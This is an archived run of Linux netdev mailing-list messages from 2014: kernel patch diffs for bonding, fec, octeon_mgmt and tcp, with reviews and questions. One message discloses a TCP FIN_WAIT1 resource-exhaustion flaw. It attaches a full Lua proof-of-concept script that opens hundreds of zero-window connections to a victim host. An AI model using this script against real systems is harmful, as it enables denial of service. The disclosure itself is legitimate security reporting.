rcu_read_lock();
if (bond_uses_primary(bond)) {
slave = rcu_dereference(bond->curr_active_slave);
@@ -3329,8 +3286,7 @@ static int bond_neigh_init(struct neighbour *n)
if (ret)
return ret;
- /*
- * Assign slave's neigh_cleanup to neighbour in case cleanup is called
+ /* Assign slave's neigh_cleanup to neighbour in case cleanup is called
* after the last slave has been detached. Assumes that all slaves
* utilize the same neigh_cleanup (true at this writing as only user
* is ipoib).
@@ -3343,8 +3299,7 @@ static int bond_neigh_init(struct neighbour *n)
return parms.neigh_setup(n);
}
-/*
- * The bonding ndo_neigh_setup is called at init time beofre any
+/* The bonding ndo_neigh_setup is called at init time beofre any
* slave exists. So we must declare proxy setup function which will
* be used at run time to resolve the actual slave neigh param setup.
*
@@ -3362,9 +3317,7 @@ static int bond_neigh_setup(struct net_device *dev,
return 0;
}
-/*
- * Change the MTU of all of a master's slaves to match the master
- */
+/* Change the MTU of all of a master's slaves to match the master */
static int bond_change_mtu(struct net_device *bond_dev, int new_mtu)
{
struct bonding *bond = netdev_priv(bond_dev);
@@ -3417,8 +3370,7 @@ unwind:
return res;
}
-/*
- * Change HW address
+/* Change HW address
*
* Note that many devices must be down to change the HW address, and
* downing the master releases all slaves. We can make bonds full of
@@ -3588,8 +3540,7 @@ static int bond_xmit_roundrobin(struct sk_buff *skb, struct net_device *bond_dev
return NETDEV_TX_OK;
}
-/*
- * in active-backup mode, we know that bond->curr_active_slave is always valid if
+/* In active-backup mode, we know that bond->curr_active_slave is always valid if
* the bond has a usable interface.
*/
static int bond_xmit_activebackup(struct sk_buff *skb, struct net_device *bond_dev)
@@ -3651,9 +3602,7 @@ static int bond_xmit_broadcast(struct sk_buff *skb, struct net_device *bond_dev)
/*------------------------- Device initialization ---------------------------*/
-/*
- * Lookup the slave that corresponds to a qid
- */
+/* Lookup the slave that corresponds to a qid */
static inline int bond_slave_override(struct bonding *bond,
struct sk_buff *skb)
{
@@ -3682,17 +3631,14 @@ static inline int bond_slave_override(struct bonding *bond,
static u16 bond_select_queue(struct net_device *dev, struct sk_buff *skb,
void *accel_priv, select_queue_fallback_t fallback)
{
- /*
- * This helper function exists to help dev_pick_tx get the correct
+ /* This helper function exists to help dev_pick_tx get the correct
* destination queue. Using a helper function skips a call to
* skb_tx_hash and will put the skbs in the queue we expect on their
* way down to the bonding driver.
*/
u16 txq = skb_rx_queue_recorded(skb) ? skb_get_rx_queue(skb) : 0;
- /*
- * Save the original txq to restore before passing to the driver
- */
+ /* Save the original txq to restore before passing to the driver */
qdisc_skb_cb(skb)->slave_dev_queue_mapping = skb->queue_mapping;
if (unlikely(txq >= dev->real_num_tx_queues)) {
@@ -3740,8 +3686,7 @@ static netdev_tx_t bond_start_xmit(struct sk_buff *skb, struct net_device *dev)
struct bonding *bond = netdev_priv(dev);
netdev_tx_t ret = NETDEV_TX_OK;
- /*
- * If we risk deadlock from transmitting this in the
+ /* If we risk deadlock from transmitting this in the
* netpoll path, tell netpoll to queue the frame for later tx
*/
if (unlikely(is_netpoll_tx_blocked(dev)))
@@ -3865,8 +3810,7 @@ void bond_setup(struct net_device *bond_dev)
bond_dev->priv_flags |= IFF_BONDING | IFF_UNICAST_FLT;
bond_dev->priv_flags &= ~(IFF_XMIT_DST_RELEASE | IFF_TX_SKB_SHARING);
- /* don't acquire bond device's netif_tx_lock when
- * transmitting */
+ /* don't acquire bond device's netif_tx_lock when transmitting */
bond_dev->features |= NETIF_F_LLTX;
/* By default, we declare the bond to be fully
@@ -3889,10 +3833,9 @@ void bond_setup(struct net_device *bond_dev)
bond_dev->features |= bond_dev->hw_features;
}
-/*
-* Destroy a bonding device.
-* Must be under rtnl_lock when this function is called.
-*/
+/* Destroy a bonding device.
+ * Must be under rtnl_lock when this function is called.
+ */
static void bond_uninit(struct net_device *bond_dev)
{
struct bonding *bond = netdev_priv(bond_dev);
@@ -3920,9 +3863,7 @@ static int bond_check_params(struct bond_params *params)
const struct bond_opt_value *valptr;
int arp_all_targets_value;
- /*
- * Convert string parameters.
- */
+ /* Convert string parameters. */
if (mode) {
bond_opt_initstr(&newval, mode);
valptr = bond_opt_parse(bond_opt_get(BOND_OPT_MODE), &newval);
@@ -4099,9 +4040,9 @@ static int bond_check_params(struct bond_params *params)
for (arp_ip_count = 0, i = 0;
(arp_ip_count < BOND_MAX_ARP_TARGETS) && arp_ip_target[i]; i++) {
- /* not complete check, but should be good enough to
- catch mistakes */
__be32 ip;
+
+ /* not a complete check, but good enough to catch mistakes */
if (!in4_pton(arp_ip_target[i], -1, (u8 *)&ip, -1, NULL) ||
!bond_is_ip_target_ok(ip)) {
pr_warn("Warning: bad arp_ip_target module parameter (%s), ARP monitoring will not be performed\n",
@@ -4284,9 +4225,7 @@ static void bond_set_lockdep_class(struct net_device *dev)
dev->qdisc_tx_busylock = &bonding_tx_busylock_key;
}
-/*
- * Called from registration process
- */
+/* Called from registration process */
static int bond_init(struct net_device *bond_dev)
{
struct bonding *bond = netdev_priv(bond_dev);
@@ -4440,9 +4379,7 @@ static void __exit bonding_exit(void)
unregister_pernet_subsys(&bond_net_ops);
#ifdef CONFIG_NET_POLL_CONTROLLER
- /*
- * Make sure we don't have an imbalance on our netpoll blocking
- */
+ /* Make sure we don't have an imbalance on our netpoll blocking */
WARN_ON(atomic_read(&netpoll_block_tx));
#endif
}
diff --git a/drivers/net/bonding/bond_sysfs.c b/drivers/net/bonding/bond_sysfs.c
index 5555517284db..8ffbafd500fd 100644
--- a/drivers/net/bonding/bond_sysfs.c
+++ b/drivers/net/bonding/bond_sysfs.c
@@ -91,7 +91,6 @@ static struct net_device *bond_get_by_name(struct bond_net *bn, const char *ifna
* creates and deletes entire bonds.
*
* The class parameter is ignored.
- *
*/
static ssize_t bonding_store_bonds(struct class *cls,
struct class_attribute *attr,
diff --git a/drivers/net/bonding/bonding.h b/drivers/net/bonding/bonding.h
index 3aff1a815e89..6140bf0264a4 100644
--- a/drivers/net/bonding/bonding.h
+++ b/drivers/net/bonding/bonding.h
@@ -197,7 +197,8 @@ struct bonding {
struct slave *);
/* mode_lock is used for mode-specific locking needs, currently used by:
* 3ad mode (4) - protect against running bond_3ad_unbind_slave() and
- * bond_3ad_state_machine_handler() concurrently.
+ * bond_3ad_state_machine_handler() concurrently and also
+ * the access to the state machine shared variables.
* TLB mode (5) - to sync the use and modifications of its hash table
* ALB mode (6) - to sync the use and modifications of its hash table
*/
--
1.9.3
^ permalink raw reply related
* Re: [PATCH 5/5] rhashtable: Per bucket locks & expansion/shrinking in work queue
From: Eric Dumazet @ 2014-09-15 15:23 UTC (permalink / raw)
To: Thomas Graf; +Cc: davem, paulmck, john.r.fastabend, kaber, netdev, linux-kernel
In-Reply-To: <fe862eb8add076215918a0def9c3bd4fe8a104c7.1410782841.git.tgraf@suug.ch>
On Mon, 2014-09-15 at 14:18 +0200, Thomas Graf wrote:
> +static int alloc_bucket_locks(struct rhashtable *ht, struct bucket_table *tbl)
> +{
> + unsigned int i, size;
> +#if defined(CONFIG_PROVE_LOCKING)
> + unsigned int nr_pcpus = 2;
> +#else
> + unsigned int nr_pcpus = num_possible_cpus();
> +#endif
> +
> + nr_pcpus = min_t(unsigned int, nr_pcpus, 32UL);
> + size = nr_pcpus * ht->p.locks_mul;
> +
You need to roundup to next power of two.
> + if (sizeof(spinlock_t) != 0) {
> +#ifdef CONFIG_NUMA
> + if (size * sizeof(spinlock_t) > PAGE_SIZE)
> + tbl->locks = vmalloc(size * sizeof(spinlock_t));
> + else
> +#endif
> + tbl->locks = kmalloc_array(size, sizeof(spinlock_t),
> + GFP_KERNEL);
> + if (!tbl->locks)
> + return -ENOMEM;
> + for (i = 0; i < size; i++)
> + spin_lock_init(&tbl->locks[i]);
> + }
> + tbl->locks_mask = size - 1;
> +
> + return 0;
> +}
^ permalink raw reply
* Re: loading ip_vti breaks IPSec connection
From: Christophe Gouault @ 2014-09-15 15:31 UTC (permalink / raw)
To: Joe M; +Cc: netdev@vger.kernel.org
In-Reply-To: <CAHjjW16qJgU+cf2-fowyJMRioc61Ko8KF65Qp5Npw9DsoF95VA@mail.gmail.com>
2014-09-13 5:39 GMT+02:00 Joe M <joe9mail@gmail.com>:
> Hello,
>
> I am not sure what I am missing. When I load ip_vti and ip_tunnel
> modules, my IPSec connection stops working.
>
> uname -a
> Linux master 3.16.2 #86 SMP PREEMPT Fri Sep 12 22:09:11 CDT 2014
> x86_64 Intel(R) Pentium(R) CPU G620 @ 2.60GHz GenuineIntel GNU/Linux
>
> - (0:c:/tmp) - - - - - - - - - - - - - - -
> sudo modprobe ip_vti ip_tunnel
> - (0:c:/tmp) - - - - - - - - - - - - - - -
> ping -c 1 -I 192.168.0.11 192.168.1.232
> PING 192.168.1.232 (192.168.1.232) from 192.168.0.11 : 56(84) bytes of data.
>
> --- 192.168.1.232 ping statistics ---
> 1 packets transmitted, 0 received, 100% packet loss, time 0ms
>
> - (0:c:/tmp) - - - - - - - - - - - - - - -
> sudo modprobe --force --remove ip_vti ip_tunnel
> - (0:c:/tmp) - - - - - - - - - - - - - - -
> ping -c 1 -I 192.168.0.11 192.168.1.232
> PING 192.168.1.232 (192.168.1.232) from 192.168.0.11 : 56(84) bytes of data.
> 64 bytes from 192.168.1.232: icmp_seq=1 ttl=64 time=273 ms
>
> --- 192.168.1.232 ping statistics ---
> 1 packets transmitted, 1 received, 0% packet loss, time 0ms
> rtt min/avg/max/mdev = 273.347/273.347/273.347/0.000 ms
> - (0:i:/tmp) - - - - - - - - - - - - - - -
>
> Please note that the module was just loaded without any tunnel
> configuration. I am not sure
>
> I am using StrongSwan for IPSec configuration and noticed the same
> behaviour with libreswan too.
Hi Joe,
I never experienced such problem.
To be sure, I did a test in tunnel mode with strongswan 5.1.2 on an
ubuntu 14.04 + vanilla Linux 3.17.0-rc5, and could not reproduce your
problem.
> Please let me know if I can provide more details.
Are you using the unchanged kernel image of your distribution, or a
kernel you compiled?
By the way, was your IPsec tunnel already established when you
executed your first ping? the first packet that triggers an IKE
negotiation is always lost.
Regards,
Christophe
> Thanks
> Joe
^ permalink raw reply
* Re: [Patch v4 net-next 04/12] net: fec: parser max queue number from dt file
From: Zhi Li @ 2014-09-15 15:33 UTC (permalink / raw)
To: Lothar Waßmann
Cc: Frank.Li-KZfg59tc24xl57MIdRCFDg@public.gmane.org,
Duan Fugang-B38611, David Miller,
netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
Russell King - ARM Linux, Shawn Guo,
linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
In-Reply-To: <20140915170804.39061c0d-VjFSrY7JcPWvSplVBqRQBQ@public.gmane.org>
On Mon, Sep 15, 2014 at 10:08 AM, Lothar Waßmann <LW@karo-electronics.de> wrote:
> Hi,
>
> Zhi Li wrote:
>> On Mon, Sep 15, 2014 at 2:39 AM, Lothar Waßmann <LW@karo-electronics.de> wrote:
>> > Hi,
>> >
>> > Frank.Li-KZfg59tc24xl57MIdRCFDg@public.gmane.org wrote:
>> >> From: Fugang Duan <B38611-KZfg59tc24xl57MIdRCFDg@public.gmane.org>
>> >>
>> >> By default, the tx/rx queue number is 1, user can config the queue number
>> >> at DTS file like this:
>> >> fsl,num-tx-queues=<3>;
>> >> fsl,num-rx-queues=<3>
>> >>
>> >> Since i.MX6SX enet-AVB IP support multi queues, so use multi queues
>> >> interface to allocate and set up an Ethernet device.
>> >>
>> >> Signed-off-by: Fugang Duan <B38611-KZfg59tc24xl57MIdRCFDg@public.gmane.org>
>> >> Signed-off-by: Frank Li <Frank.Li-KZfg59tc24xl57MIdRCFDg@public.gmane.org>
>> >> ---
>> >> drivers/net/ethernet/freescale/fec.h | 2 ++
>> >> drivers/net/ethernet/freescale/fec_main.c | 46 ++++++++++++++++++++++++++++++-
>> >> 2 files changed, 47 insertions(+), 1 deletion(-)
>> >>
>> >> diff --git a/drivers/net/ethernet/freescale/fec.h b/drivers/net/ethernet/freescale/fec.h
>> >> index b2b91f8..72fb90f 100644
>> >> --- a/drivers/net/ethernet/freescale/fec.h
>> >> +++ b/drivers/net/ethernet/freescale/fec.h
>> >> @@ -356,6 +356,8 @@ struct fec_enet_private {
>> >>
>> >> bool ptp_clk_on;
>> >> struct mutex ptp_clk_mutex;
>> >> + unsigned int num_tx_queues;
>> >> + unsigned int num_rx_queues;
>> >>
>> >> /* The saved address of a sent-in-place packet/buffer, for skfree(). */
>> >> struct fec_enet_priv_tx_q *tx_queue[FEC_ENET_MAX_TX_QS];
>> >> diff --git a/drivers/net/ethernet/freescale/fec_main.c b/drivers/net/ethernet/freescale/fec_main.c
>> >> index 4c0d2ee..2240df0 100644
>> >> --- a/drivers/net/ethernet/freescale/fec_main.c
>> >> +++ b/drivers/net/ethernet/freescale/fec_main.c
>> >> @@ -2709,6 +2709,42 @@ static void fec_reset_phy(struct platform_device *pdev)
>> >> }
>> >> #endif /* CONFIG_OF */
>> >>
>> >> +static void
>> >> +fec_enet_get_queue_num(struct platform_device *pdev, int *num_tx, int *num_rx)
>> >> +{
>> >> + struct device_node *np = pdev->dev.of_node;
>> >> + int err;
>> >> +
>> >> + *num_tx = *num_rx = 1;
>> >> +
>> >> + if (!np || !of_device_is_available(np))
>> >> + return;
>> >> +
>> >> + /* parse the num of tx and rx queues */
>> >> + err = of_property_read_u32(np, "fsl,num-tx-queues", num_tx);
>> >> + err |= of_property_read_u32(np, "fsl,num-rx-queues", num_rx);
>> >> + if (err) {
>> >> + *num_tx = 1;
>> >> + *num_rx = 1;
>> > Shouldn't these be handled seperately? So that if only one of those
>> > properties is given in DT the specified value for that property should
>> > be used?
>>
>> I worry about asymmetric design in future.
>>
> Then why do you use two distinct properties in the first place?
Sorry, I miss understand your means firstly.
I see now.
You are right.
Because David has applied this patch, I will create a new patch to fix it.
>
>> And use two property is the easy debug two directory.
>>
> I don't understand this sentence.
>
>
> Lothar Waßmann
> --
> ___________________________________________________________
>
> Ka-Ro electronics GmbH | Pascalstraße 22 | D - 52076 Aachen
> Phone: +49 2408 1402-0 | Fax: +49 2408 1402-10
> Geschäftsführer: Matthias Kaussen
> Handelsregistereintrag: Amtsgericht Aachen, HRB 4996
>
> www.karo-electronics.de | info-AvR2QvxeiV7DiMYJYoSAnRvVK+yQ3ZXh@public.gmane.org
> ___________________________________________________________
--
To unsubscribe from this list: send the line "unsubscribe devicetree" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* Re: [PATCH net-next 04/14] tipc: add sock dump to new netlink api
From: David Miller @ 2014-09-15 15:38 UTC (permalink / raw)
To: richard.alpe; +Cc: netdev, tipc-discussion
In-Reply-To: <54169B6C.5060709@ericsson.com>
From: Richard Alpe <richard.alpe@ericsson.com>
Date: Mon, 15 Sep 2014 09:55:24 +0200
> The amount of publications a socket can have is large (~65 000). Do
> you still think this a viable solution?
Then maybe you want to have a completely separate netlink operation to
dump the publications, the request would provide a key saying which
socket's publications to dump.
^ permalink raw reply
* Re: [net-next PATCH 00/12] net/sched rcu classifiers and tcf
From: David Miller @ 2014-09-15 15:43 UTC (permalink / raw)
To: dborkman
Cc: john.fastabend, xiyou.wangcong, eric.dumazet, jhs, netdev,
paulmck, brouer
In-Reply-To: <5416A44A.8040806@redhat.com>
From: Daniel Borkmann <dborkman@redhat.com>
Date: Mon, 15 Sep 2014 10:33:14 +0200
> On 09/13/2014 06:38 PM, David Miller wrote:
>> From: John Fastabend <john.fastabend@gmail.com>
>> Date: Fri, 12 Sep 2014 20:04:20 -0700
>>
>>> This series converts the tcf_proto usage to RCU.
>>
>> Series applied, thanks John!
>
> Btw, a bit odd that Git shows all commits from 'net: qdisc: use rcu
> prefix
> and silence sparse warnings' up to 'net: sched: rcu'ify cls_bpf' twice
> in
> the log with only one Merge commit of diffstat -0/+0, e.g.:
>
> https://git.kernel.org/cgit/linux/kernel/git/davem/net-next.git/commit/?id=9888faefe1327909f3acf34d1feda87a368bb858
> https://git.kernel.org/cgit/linux/kernel/git/davem/net-next.git/commit/?id=c8b9affec519d27ce202a7ed22617eecbd96f127
That's really amazing :-)
Probably I applied them to my master branch before building the branch and doing
the merge that way, weird.
Sorry about that.
^ permalink raw reply
* Re: how to figure out which device a given IFB is connected to
From: Cong Wang @ 2014-09-15 16:08 UTC (permalink / raw)
To: Sebastian Moeller; +Cc: netdev
In-Reply-To: <CBDE840F-96BA-4839-9774-86F72E99E964@gmx.de>
On Mon, Sep 15, 2014 at 7:37 AM, Sebastian Moeller <moeller0@gmx.de> wrote:
> I am looking for a way of doing the reverse,i.e. figuring out for a given IFB if it is “connected” to a real interface and, if yes, which interface. Basically, I want to recycle unused IFBs, but want to make sure that they really are unused…
>
There is no way to figure that out.
^ permalink raw reply
* Re: [PATCH v2 net-next 1/3] tcp: use TCP_SKB_CB(skb)->tcp_flags in input path
From: Neal Cardwell @ 2014-09-15 16:13 UTC (permalink / raw)
To: Eric Dumazet; +Cc: David S. Miller, Netdev, Yuchung Cheng
In-Reply-To: <1410779993-31464-2-git-send-email-edumazet@google.com>
On Mon, Sep 15, 2014 at 7:19 AM, Eric Dumazet <edumazet@google.com> wrote:
> Input path of TCP do not currently uses TCP_SKB_CB(skb)->tcp_flags,
> which is only used in output path.
>
> tcp_recvmsg(), looks at tcp_hdr(skb)->syn for every skb found in receive queue,
> and its unfortunate because this bit is located in a cache line right before
> the payload.
>
> We can simplify TCP by copying tcp flags into TCP_SKB_CB(skb)->tcp_flags.
>
> This patch does so, and avoids the cache line miss in tcp_recvmsg()
>
> Following patches will
> - allow a segment with FIN being coalesced in tcp_try_coalesce()
> - simplify tcp_collapse() by not copying the headers.
>
> Signed-off-by: Eric Dumazet <edumazet@google.com>
Acked-by: Neal Cardwell <ncardwell@google.com>
neal
^ permalink raw reply
* Re: [PATCH 1/1 v2] netdev: octeon_mgmt: ISO C90 forbids mixed declarations and code
From: David Daney @ 2014-09-15 16:16 UTC (permalink / raw)
To: Heinrich Schuchardt
Cc: David Daney, David S. Miller, Luka Perkov, Willem de Bruijn,
Russell King, netdev, linux-kernel, Joe Perches
In-Reply-To: <1410670935-904-1-git-send-email-xypron.glpk@gmx.de>
On 09/13/2014 10:02 PM, Heinrich Schuchardt wrote:
> Revised patch takes into account comments by Joe and David.
>
> Compiling with OCTEON_MGMT_ETHERNET gives a warning
> drivers/net/ethernet/octeon/octeon_mgmt.c:295:4:
> warning: ISO C90 forbids mixed declarations and code
> [-Wdeclaration-after-statement]
>
> The patch cleans up the code.
>
> Signed-off-by: Heinrich Schuchardt <xypron.glpk@gmx.de>
> CC: Joe Perches <joe@perches.com>
> CC: David S. Miller <davem@davemloft.net>
> ---
> drivers/net/ethernet/octeon/octeon_mgmt.c | 3 ++-
> 1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/net/ethernet/octeon/octeon_mgmt.c b/drivers/net/ethernet/octeon/octeon_mgmt.c
> index 979c698..6cc68b1 100644
> --- a/drivers/net/ethernet/octeon/octeon_mgmt.c
> +++ b/drivers/net/ethernet/octeon/octeon_mgmt.c
> @@ -290,9 +290,10 @@ static void octeon_mgmt_clean_tx_buffers(struct octeon_mgmt *p)
> /* Read the hardware TX timestamp if one was recorded */
> if (unlikely(re.s.tstamp)) {
> struct skb_shared_hwtstamps ts;
> + u64 ns;
> memset(&ts, 0, sizeof(ts));
I don't think this is the change suggested by Joe Perches and davem.
So NAK. In the interestes of Bike Shedding, I will send a patch that
clears the warning with a fewer number of changed lines, that follows
the suggestion.
David Daney
> /* Read the timestamp */
> - u64 ns = cvmx_read_csr(CVMX_MIXX_TSTAMP(p->port));
> + ns = cvmx_read_csr(CVMX_MIXX_TSTAMP(p->port));
> /* Remove the timestamp from the FIFO */
> cvmx_write_csr(CVMX_MIXX_TSCTL(p->port), 0);
> /* Tell the kernel about the timestamp */
>
^ permalink raw reply
* TCP connection will hang in FIN_WAIT1 after closing if zero window is advertised
From: Andrey Dmitrov @ 2014-09-15 16:11 UTC (permalink / raw)
To: netdev; +Cc: Alexandra N. Kossovsky, Konstantin Ushakov
[-- Attachment #1: Type: text/plain, Size: 2053 bytes --]
Greetings,
there is possible vulnerability in the TCP stack. Closing a socket after
the TCP zero window advertising by peer leads to the socket stuck in
FIN_WAIT1 state. FIN-ACK packet is not sent and not retransmitted. So
the connection remains alive and without relation to any socket while
the peer sends replies to the zero probe packets. It is possible to
create a lot of connections in the same manner which will be in
FIN_WAIT1 state forever.
Linux version 3.13-1-amd64 (debian-kernel@lists.debian.org) (gcc version
4.8.2 (Debian 4.8.2-16) ) #1 SMP Debian 3.13.10-1 (2014-04-15)
I've written a script on Lua to reproduce this issue, find it in
attachment please. I've used it with two hosts host_A (victim) and
host_B (attacker), which are directly connected to each other. host_A
has lighttpd installed and runned. Actually host_A can have any opened
TCP listener socket to be attacked. If it closes any established with
attacker connection it will stuck in the FIN_WAIT1 state. The script
creates a number of TCP connections with the victim and sends replies
for the zero window probe packets.
The test requires lua, tcpdump and nemesis on the host_B:
aptitude install lua5.1 lua5.1-posix nemesis tcpdump
How to run the test:
1. Run a httpd daemon on the host_A (I've used lighttpd).
2. Copy the test script attack.lua to the host_B.
3. Fill in the tested interfaces configuration (source, destination IP
and MAC addresses) in the beginning of the file attack.lua. You can set
maximum connections number in the variable *limit*, by default it is 500.
4. Set a fake MAC address for victim interface in host_B ARP table. It
is to prevent host_B system replies (RST) receiving by the host_A:
sudo arp -s <host_A IP addr> <any MAC address>
5. Run the test script on the host_B:
sudo ./attack.lua
After ~10 minutes you will see 500 connections in the FIN_WAIT1 state on
the host_A:
netstat | grep FIN_WAIT1 | wc -l
500
Even if you close the http daemon the connections still will be alive.
Thanks,
Andrey Dmitrov
[-- Attachment #2: attack.lua --]
[-- Type: text/x-lua, Size: 3635 bytes --]
#!/usr/bin/lua
require("posix")
require("math")
require("os")
--~ Network configuration
--~ Source = attacker
--~ Destination = victim
local limit = 500 -- Maximum connections number
local iface = "eth3" -- Source (attacker) interface
local src_mac = "00:0f:53:01:39:94" -- Actual source interface MAC
local dst_mac = "00:0f:53:01:39:7c" -- Actual destination (victim) interface MAC
local src = "10.0.5.1" -- Source IP
local dst = "10.0.5.2" -- The destination IP
local dst_poprt = 80 -- The destination port
local nemesis = string.format("nemesis tcp -d %s -S %s -D %s -y %d -H %s -M %s",
iface, src, dst, dst_poprt, src_mac, dst_mac)
--~ Set fake MAC of the victim interface in the ARP table to prevent the attacker
--~ system replies receiving by the victim
--~ os.execute(string.format("arp -s %s 00:0c:29:c0:94:bf", dst))
math.randomseed(os.time())
function get_port(cs, idx)
local port
local conn
local i
local ex
repeat
port = math.random(30000, 60000)
ex = false
for i, conn in pairs(cs) do
if conn.port == port then
ex = true
break
end
end
until not ex
return port
end
function send_syn(conn, port, seqn)
local cmd
conn.port = port
conn.seqn = (seqn + math.random(1000, 5000)) % 4294967295
cmd = string.format("%s -fS -x %d -s %s -a 0 -w 29200 >/dev/null", nemesis,
conn.port, tostring(conn.seqn))
print(cmd)
os.execute(cmd)
conn.seqn = conn.seqn + 1
return seqn
end
function get_conn_by_port(cs, port)
local i
local conn
for i, conn in pairs(cs) do
if tonumber(conn.port) == tonumber(port) then
return conn
end
end
return nil
end
function send_ack(conn, packet, ackn)
local win = 0
if not ackn or not conn.seqn then
return
end
conn.ackn = ackn
cmd = string.format("%s -fA -x %d -s %s -a %s -w %d >/dev/null", nemesis,
conn.port, tostring(conn.seqn), tostring(ackn), win)
print(cmd)
os.execute(cmd)
end
function send_reply(cs, packet)
local conn
if not packet then
return
end
conn = get_conn_by_port(cs, packet.src_port)
if not conn then
return
end
if packet.flags == "S." then
send_ack(conn, packet, packet.seqn + 1)
elseif packet.flags == "." then
if packet.seqn == nil then
packet.seqn = conn.ackn
end
send_ack(conn, packet, packet.seqn)
end
end
function get_packet(line)
local packet = {}
local psrc
local pdst
if not line then
return nil
end
--~ Skip unexpected and outgoing packets
psrc = string.find(line, src)
pdst = string.find(line, dst)
if not pdst or not pdst or psrc < pdst then
return nil
end
packet.src_port = line:match(src .. ".(%d+)")
packet.dst_port = line:match(dst .. ".(%d+)")
packet.flags = line:match("%[([%a,%.]+)%]")
packet.seqn = line:match("seq (%d+)")
packet.ackn = line:match("ack (%d+)")
print(packet.src_port, packet.dst_port, packet.flags, packet.seqn, packet.ackn)
return packet
end
function main_loop()
local packet
local cs = {}
local idx = 0
local f
local seqn = 1971746917
local prev_time = 0
local curr_time
f = io.popen("tcpdump -i " .. iface .. " -l -n tcp src port 80")
while true do
if idx < limit then
curr_time = os.time()
if curr_time ~= prev_time then
prev_time = curr_time
idx = idx + 1
cs[idx] = {}
cs[idx].idx = idx
seqn = send_syn(cs[idx], get_port(cs, idx), seqn)
end
end
packet = get_packet(f:read("*l"))
send_reply(cs, packet)
end
io.close(f)
end
main_loop()
^ permalink raw reply
* Re: [PATCH v2 net-next 2/3] tcp: allow segment with FIN in tcp_try_coalesce()
From: Neal Cardwell @ 2014-09-15 16:20 UTC (permalink / raw)
To: Eric Dumazet; +Cc: David S. Miller, Netdev, Yuchung Cheng
In-Reply-To: <1410779993-31464-3-git-send-email-edumazet@google.com>
On Mon, Sep 15, 2014 at 7:19 AM, Eric Dumazet <edumazet@google.com> wrote:
> We can allow a segment with FIN to be aggregated,
> if we take care to add tcp flags,
> and if skb_try_coalesce() takes care of zero sized skbs.
>
> Signed-off-by: Eric Dumazet <edumazet@google.com>
Acked-by: Neal Cardwell <ncardwell@google.com>
neal
^ permalink raw reply
* [PATCH] netdev: octeon_mgmt: Fix ISO C90 forbids mixed declarations and code warning.
From: David Daney @ 2014-09-15 16:23 UTC (permalink / raw)
To: netdev, David S. Miller, linux-kernel
Cc: linux-mips, David Daney, Heinrich Schuchardt, Joe Perches
From: David Daney <david.daney@cavium.com>
We were getting:
drivers/net/ethernet/octeon/octeon_mgmt.c:295:4: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
The idea of the fix from Joe Perches.
Signed-off-by: David Daney <david.daney@cavium.com>
Cc: Heinrich Schuchardt <xypron.glpk@gmx.de>
Cc: Joe Perches <joe@perches.com>
---
This patch should supersede previous patches from Heinrich Schuchardt,
and may be preferable as it touches fewer lines of code.
drivers/net/ethernet/octeon/octeon_mgmt.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/octeon/octeon_mgmt.c b/drivers/net/ethernet/octeon/octeon_mgmt.c
index 979c698..5e10c1d 100644
--- a/drivers/net/ethernet/octeon/octeon_mgmt.c
+++ b/drivers/net/ethernet/octeon/octeon_mgmt.c
@@ -290,12 +290,12 @@ static void octeon_mgmt_clean_tx_buffers(struct octeon_mgmt *p)
/* Read the hardware TX timestamp if one was recorded */
if (unlikely(re.s.tstamp)) {
struct skb_shared_hwtstamps ts;
- memset(&ts, 0, sizeof(ts));
/* Read the timestamp */
u64 ns = cvmx_read_csr(CVMX_MIXX_TSTAMP(p->port));
/* Remove the timestamp from the FIFO */
cvmx_write_csr(CVMX_MIXX_TSCTL(p->port), 0);
/* Tell the kernel about the timestamp */
+ memset(&ts, 0, sizeof(ts));
ts.hwtstamp = ns_to_ktime(ns);
skb_tstamp_tx(skb, &ts);
}
--
1.7.11.7
^ permalink raw reply related
* Re: [PATCH 0/3] bridge: Some nice new things for vlan filtering
From: Stephen Hemminger @ 2014-09-15 16:24 UTC (permalink / raw)
To: Vladislav Yasevich
Cc: netdev, shemminger, bridge, Toshiaki Makita, Vladislav Yasevich
In-Reply-To: <1410554691-18467-1-git-send-email-vyasevic@redhat.com>
On Fri, 12 Sep 2014 16:44:48 -0400
Vladislav Yasevich <vyasevich@gmail.com> wrote:
> While working with vlan filtering and non-promisc mode, I've found
> myself wanting untagged traffic to automatically pass through the
> bridge. So I decided to introduce the concept of a per bridge default
> pvid. VLAN 1 is used as default pvid by default and can be changed
> by user through sysfs while vlan filtering is off. (I'll be adding netlink
> support now that Jiri Pirko kindly added the ifrastructure). Default
> pvid is assigned to all ports that do not assign their own pvid or
> already have a given vlan configured. This makes it very simple
> to enable vlan filtering on the bridge, not have to configure a thing,
> and still pass untagged traffic.
>
> The other small thing this series adds is automatic update of the
> vlan filter when vlan is configured on top of the bridge. In this
> case we automatically add the given vlan to the bridge filter list.
> The ports may still need to be updated as we don't know which ports
> are allowed to receive a given vlan.
>
> Thanks
> -vlad
>
> Vladislav Yasevich (3):
> bridge: Add a default_pvid sysfs attribute
> bridge: Add filtering support for default_pvid
> bridge; Automatically filter vlans configured on top of bridge
>
> net/bridge/br_device.c | 54 +++++++++++++++++++---
> net/bridge/br_if.c | 2 +
> net/bridge/br_private.h | 35 ++++++++++++++-
> net/bridge/br_sysfs_br.c | 17 +++++++
> net/bridge/br_vlan.c | 113 ++++++++++++++++++++++++++++++++++++++++++++++-
> 5 files changed, 213 insertions(+), 8 deletions(-)
>
Please, no special VLAN 1, other equipment has that silliness.
Why is untagged traffic not treated as VLAN 0?
^ permalink raw reply
* Re: [PATCH v2 net-next 3/3] tcp: do not copy headers in tcp_collapse()
From: Neal Cardwell @ 2014-09-15 16:29 UTC (permalink / raw)
To: Eric Dumazet; +Cc: David S. Miller, Netdev, Yuchung Cheng
In-Reply-To: <1410779993-31464-4-git-send-email-edumazet@google.com>
On Mon, Sep 15, 2014 at 7:19 AM, Eric Dumazet <edumazet@google.com> wrote:
> tcp_collapse() wants to shrink skb so that the overhead is minimal.
>
> Now we store tcp flags into TCP_SKB_CB(skb)->tcp_flags, we no longer
> need to keep around full headers.
> Whole available space is dedicated to the payload.
>
> Signed-off-by: Eric Dumazet <edumazet@google.com>
